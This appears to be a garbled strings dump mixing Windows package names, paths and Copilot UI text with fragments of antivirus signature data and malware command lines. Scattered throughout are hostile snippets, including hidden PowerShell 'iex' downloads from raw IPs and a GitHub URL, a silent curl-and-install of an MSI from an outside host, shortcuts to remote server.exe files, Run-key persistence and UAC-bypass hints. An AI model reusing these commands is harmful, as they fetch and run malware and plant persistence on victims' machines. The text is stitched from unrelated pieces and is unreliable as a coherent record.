 boot checkwindowsX
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Global.WindowsOobeAppHost.AppX05dbt8nqg2my7an1972z1krx3ezgsqph.mca
Global.WindowsOobeAppHost.AppXz53mm6ghetj3f5m66ea0rhahd10qadp8.wwa
Global.WindowsOobeAppHost.wwa
pwindows\cache\mgr.vbsftp.forest-fire.net
!#SCRIPT:PSForegroundWindowsTitle.A
document'..\..\..\windows\system32\wbem\wmic.exedprocesscallcreate"powershelliex'\*i*\s*3*\m*ta.e*https://80.76.51.231/samarik'|powershell-"shell32.dll
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
$\appdata%\schost.execmd /c reg add hkcu\software\microsoft\windows\currentversion\run /v scvhostndetect.sys
WINDOWS.UI.CORE.COREWINDOW
_EventSource_global__Windows_Foundation_TypedEventHandler_global__WindowsUdk_UI_StartScreen_TileCollection__global__WindowsUdk_UI_StartScreen_TileRemovedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__WindowsUdk_UI_StartScreen_TileCollection__global__WindowsUdk_UI_StartScreen_TileAddedEventArgs_
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
MHSTR:PSWindowStyleHidden
 windows/meterpr
c:\windows\system32
donedimiisprimarywindowssku,b
.push("avira==c:/windows/
 ]("windowsinstaller.installer
msPdfWindowsOcrCoverage
Windows NT\CurrentVer 
\Winlogon
Windows has found spyx
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.closedimpidsetwmi=getobject("winmgmts:")setprocess=wmi.get("win32_process")process.create"cmd.exe/cc:\windows\temp\
!#AGGR:Lua:DirPathSystem32
Lua:DirPathSystem32
#powershell.exe-executionpolicybypass-noprofile-windowstylehidden-command
[Used for miscellaneous characters; it can vary by keyboard.][Windows 2000/XP: Either the angle bracket key o
\system32\exp1\
ntdll::strstr(t R1, t 'vmware')SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SysTracerTrojanDownloader:O97M/PShell!rfn
Windows Code Signing PCA 20240
%SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib<
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
pix-fix.netwo.php?stub=gate1.php?a={software\vmware, inc.\vmware toolshardware\acpi\rsdt\vbox__cmd.exe /c start /b powershell -windowstyle hidden -command&{$t='
log.boreye.comsoftware\microsoft\windows nt\currentversion\networkplatform\locationTrojanDownloader:O97M/Emotet.RQ!MTB
Windows Media Device Manager
Windows CE
Windows CE RNDIS
Windows Media Foundation
myidsoftware\microsoft\windows nt\currentversion\svchostsvchost.exe -k netsvcsreferer: http://
TCP/IP for WindowsH
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 @Windows.Data.Common.Size
 @Windows.Data.ActiveKeyboardList
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
towindowsterminalk
C:\\WINDOWS\\system32\\config
COMPUTERNAME=WINDOWS11K
USERDOMAIN=Windows
\SystemRoot\System32\DriverStore\FileRepository\prm.inf_amd64_7c38475757a1f016\PRM.sys
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
.pnghttp://216.238.109.24/havewellwhat.jpg&&call%windir%\system32\%r1%vr32%temp%\
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
(1,2))+1,2)ifp=23thenu=f:f=""ifp=36thenr=f:f=""nextl(1)=u&"":l(2)=trim(r):l(3)=fhligfa=labs(application.windowstate)&"."endfunctionfunctiongg(masstring)callshell(("regsvr32/s"&m))minimal_max()maxz=herooo(0,hligfa(mami),hfluids,0,0)minc=gg("calc"):minc=gg(hfluids):TrojanDownloader:O97M/Emotet.EHPK!MTB
Windows Internet Guard
Windows Web Shield 
start-process-filepath$out-windowstylehiddenn
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
18^windows.protocol
19^windows.internal.componentUI
1b^windows.protocol
TCP/IP for WindowsE
TCP/IP for WindowsE
\avgupd.exe\Microsoft Windows OneCare Live\WinSSPlatform.dllnet stop winssnet stop OcHealthMon\windows defender\mpclient.dll!#ALFPER:VirTool:Win32/Prolper.B!dha
Windows %s
Microsoft.Windows.Clfs.Telemetry
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.FileSystem.WOF
Microsoft.Windows.Security.KsecSspi
Microsoft.Windows.Graphics.DxgDiagnostics
Microsoft.Windows.Networking.WFP.Ale
c:\windows\system32\s_
Failed to SetWindowsHookEx: 0x%08lX
k\system32\windowspowershell\v1.0-execbypass-windo1
o-n0c:\windows\6
.\V3appdata\microsoft\windows\powershell\psreadline
c:\windows\system32\cmd.exe/cstart
Gc:\windows\system32\cmd.exe/cstart
;d:\windows\system32\cmd.exe/cstart
Global\alazhkvkprmidMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
 from your Microsoft account?GetUnified storeUnpin side panePin side paneAdd page to sidebarHide CopilotSnooze notificationsDon't show until I restartDon't show for this siteNotification settingsSnooze notification for 1 daySnooze notification for 1 weekYour system admin locked this siteIf you need to use this site, please contact your admin in your organization.Sidebar is now hiddenEdge BarQuitManaged by your organization.Show as overlayShow side by sideAuto-hide Edge BarAuto-start Edge BarEnable Edge BarDetach the sidebar to the desktop to access your favorite apps while outside of the browserAutomatically open Edge Bar when the device startsEdge Bar will start when Windows device starts up from being offYou can use Ctrl+Shift+Alt+E to shift focus onto Edge BarRecommended appsCheck your emailsControl your musicPopular appsWe removed some apps you don't useSelect any apps you want to keep.Add your go-to apps to EdgeSelect the apps you want in your sidebar.Skip setupSearch apps
oftware\Microsoft\Windows NT
*SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009|B
Windows\CurrentVersion\Ext\Settings\%s!Flags
exec("cmd/cc:\windows\system32\mspaint.exe%temp%\evil")
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgy\api\winrt\edgygesturerecognitionconfigurationwinrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgy\api\winrt\edgydragsourcewinrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\resize\api\resizearea\winrt\resizeareawinrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\resize\api\resizecontroller\winrt\resizecontrollerwinrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\inputforwarder\api\winrt\inputforwardwinrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\api\edgycontrollerrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\client\edgycontrollerclient.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\client\touchpadgesturescontroller.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\client\TouchpadGesturesController.h
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\client\ShellGesturesController.h
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\client\shellgesturescontroller.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\magnifier\client\magnifiercontrollerwinrt.cpp
Bonecoreuap\windows\moderncore\inputv2\delivery\client\api.cpp
onecoreuap\windows\moderncore\inputv2\foregroundmanager\client\activationwatcher\lib\activatableentitybamoproxy.cpp
func_reg_uac_enabledisable($istate=2)local$sregkey="hkey_local_machine64\software\microsoft\windows\currentversion\policies\system"if@osarch<>"x64"then
Windows.Internal.ShellExperience.StartMenuWSVC
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
GetSystemWindowsDirectoryW
System.Windows.Forms.Design
get_DockPanel_DefaultFloatWindowSize_Description
<DefaultFloatWindowSize>k__BackingField
<ToolWindowSeparator>k__BackingField
<MainWindowStatusBarDefault>k__BackingField
Microsoft.Windows.WinCorLib.Usage
\\.\root\Microsoft\Windows\Storage:__Win32Provider.Name="iSCSIWMIv2"
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
dir%\system32\vsocklib.dll
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-EventLog-Api-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Wer-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Multimedia-MF-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Wifi-Client-Realtek-Rtwlane13-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
windows explorer%.lnk
//Windows.Data.Security.ScenarioKeys.fbs
Windows.Data.Security.Passkey.ScenarioKeysItem
//Windows.Data.Security.Bitlocker.fbs
172^com.microsoft.windows.e
switchtothiswindows
6c^windows.appExtension
ROSOFT.WINDOWS
ger at udfylde adgangskoder. Skriv din adgangskode til Windows for at tillade dette.copilotupdateMicrosoft Copilot-opdateringstjenesteMicrosoft Copilot Updater Internal ServiceHolder din Microsoft Copilot-software opdateret. Hvis denne tjeneste deaktiveres eller stoppes, holdes din Microsoft Copilot-software ikke opdateret, hvilket betyder, at sikkerhedsrisici, der kan opst
.schtasks/run/tn\microsoft\windows\diskcleanup\silentcleanup/i>n
Windows
Windows
Windows
Windows
\netlogon\windows7\
\windows\winsxs\
\system32\dllcache\
\system32\pw\
\system32\1052\
\winnt\system32\
\windows\$ntuninstall
\windows\$hf_mig$\
\system32\migwiz\
Lua:FileInsideWindowsFolder
winlogonV
windowsforms10.syslistview32.app 
\windows\imecache\[^\]+\appdeploytoolkit\appdeploytoolkitmain.cs
\windows\ccmcache\[^\]+\appdeploytoolkit\appdeploytoolkitmain.cs
\windowspowershell\v1.0\modules\
^:\windows\
WindowsInternal.ShellUI.dll
System.Windows.Forms.Design.ComponentDocumentDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a*System.ComponentModel.Design.IRootDesigner
System.Windows.Forms.Design.DataSourceConverter, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.DataSourceListEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.ComponentModel.Com2Interop.ComNativeDescriptor, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
parkingWindowSupportsPMAv2
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.HandleF4
windows.imm5
icrosoft.OutlookForWindows_1.2026.210.300_x64_
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UAppHistoryPage@implementation@TaskManagerApp@winrt@@V?$tuple@UAppHistoryPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$producer_convert@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
WindowsDefenderW
System32\fodhelper.exeS
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
openthejs(microsoftwindowsbasedscripthost)documentbythelink.thenewscriptsecuritymodelmakesitsafertodistributeandrundocuments.
Windows updateFIDDLER.EXE
WindowsIntegratedAuth
\system32\drivers\etc\hosts
.=createobject("microsoft.xmlhttp")shell.runc:\windows\123.exe!#ALFPER:Trojan:Win32/Godefil.A!dha
w\constraints.jssetprinterdataexsystem32\appvterminator.dlladdprinterconnectionwsplgetprinterdataexfixprint.exe!#ALF:Trojan:MSIL/FormBook.A!MTB
x#,pyi-windows-manifest-filename!#ALF:HackTool:Win32/PwDump!MTB
name="extexportmicrosoft.windows.app.browser!#HSTR:ThreeBrazillianBanks
microsoft.windows.reginiregini: setvaluekey (%ws) failed (%u)regini: %ws key exceeded maximum depth (%u) of tree.!#ALF:Trojan:Win64/Mythic.A
echowscript.exe"%localappdata%/cortana/inv.vbs""%localappdata%/cortana/cortanadefault.bat">"%appdata%/microsoft/windows/startmenu/programs/startup/cortanaassist.bat"
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
api-ms-win-core-windowserrorreporting-l1-1-0.dll
REGDELETE ( "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" , "Microsoft UpdateR
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.OrdinaryChildKeyPanelModelj
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ShowCommentEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Styles
Windows
windows\.
@c:\windows\system32\cmdI
windir=C:\WINDOWS
	Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
instrumentShownToNonActWindows
test1=shell("c:\windows\system32
=shell("c:\windows\system32
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
&!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalStatec
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
SMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy?
OMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
>Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)?
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy?
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy-
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
%'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
%!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy*
>AppData (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy)
MicrosoftWindows.Client.CBS_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpNameValueHeaderValue,struct Windows::Web::Http::Headers::IHttpNameValueHeaderValue,struct Windows::Web::Http::Headers::IHttpCacheDirectiveHeaderValueCollection,class HttpCacheDirectiveHeaderValueCollectionImpl>::TryParseAdd
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::OnStartCore
ReadAsOperationBase<struct Windows::Storage::Streams::IInputStream *,struct Windows::Storage::Streams::IInputStream *,struct Windows::Web::Http::HttpProgress>::OnStartCore
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpNameValueHeaderValue,struct Windows::Web::Http::Headers::IHttpNameValueHeaderValue,struct Windows::Web::Http::Headers::IHttpCacheDirectiveHeaderValueCollection,class HttpCacheDirectiveHeaderValueCollectionImpl>::ToString
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::OnStart
ReadAsStreamOperation<struct Windows::Web::Http::HttpProgress>::RuntimeClassInitialize
v1system32>*
c:\r1windows<*	
v1system32>*
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
\windows\currentversion\explorer\brow	
  <assemblyIdentity name="Microsoft.Windows.Common-Controls" version="5.82.26100.7309" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" />
      <assemblyIdentity name="Microsoft.Windows.Common-Controls.Resources" version="5.82.0.0" processorArchitecture="x86" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
'Windows Code Signing PCA 20240
Windows for Workgroups 3.1a
\x00\x00\x00\x85\xffSMBr\x00\x00\x00\x00\x18S\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\xff\xb4\x00b\x00\x02PC NETWORK PROGRAM 1.0\x00\x02LANMAN1.0\x00\x02Windows for Workgroups 3.1a\x00\x00\x00\xc8\xffSMBs\x00\x00\x00\x00\x18\x03\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00?\xb5\x0c\xff\x00\xc8\x00\x04\x112\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\xreturn 'Other error.'r
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
powershell.exe-windowstylehidden-command"iex(iwr'https://github.com/owiwan/thecrom/raw/main/
WindowsphoneProcessBrowsers
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
|\Windows\
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat(
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat(
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\Local
Microsoft.Windows.BrokerBase
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
onecoreuap\windows\dwm\dwmcore\engine\global\globalsuperwetinkmanager.cpp
onecoreuap\windows\dwm\dwmcore\bitmaps\bitmaprealization.cpp
onecoreuap\windows\dwm\dwmcore\bitmaps\dxhandlebitmaprealization.cpp
@onecoreuap\windows\dwm\dwmcore\resources\keyframeanimation.cpp
onecoreuap\windows\dwm\dwmcore\resources\genericink.cpp
onecoreuap\windows\dwm\dwmcore\engine\DataSourcePropertySet.h
onecoreuap\windows\dwm\dwmcore\resources\synchronoussuperwetink.cpp
onecoreuap\windows\dwm\dwmcore\resources\expressionmanager.cpp
onecoreuap\windows\dwm\dwmcore\rendering\cachedimageproducer.cpp
u<onecoreuap\windows\dwm\dwmcore\resources\cachedvisualimage.cpp
onecoreuap\windows\dwm\dwmcore\bitmaps\rendertargetbitmap.cpp
V&\windows\system32\cmd.exe
c:\windows\system32\cmd.exe/kcurl-slo%temp%\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msihttps://servergate.org/rt/setup.msi&%temp%\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi/qn&exit
G[internetshortcut]iconindex=1hotkey=0idlist=url=file://46.8.210.31/agenzia/server.exeiconfile=c:\windows\system32\shell32.dll[{000214a0-0000-0000-c000-000000000046}]prop3=19,9
[internetshortcut]iconindex=1hotkey=0idlist=url=file://46.8.210.57/agenzia/server.exeiconfile=c:\windows\system32\shell32.dll[{000214a0-0000-0000-c000-000000000046}]prop3=19,9
\windows\system32\cmd.exe/c
0%windir%\system32\
 \system32\
Windows
Cannot get WindowsAIK Public modulus from NCrypt.
Unable to hash WindowsAIK Public modulus.
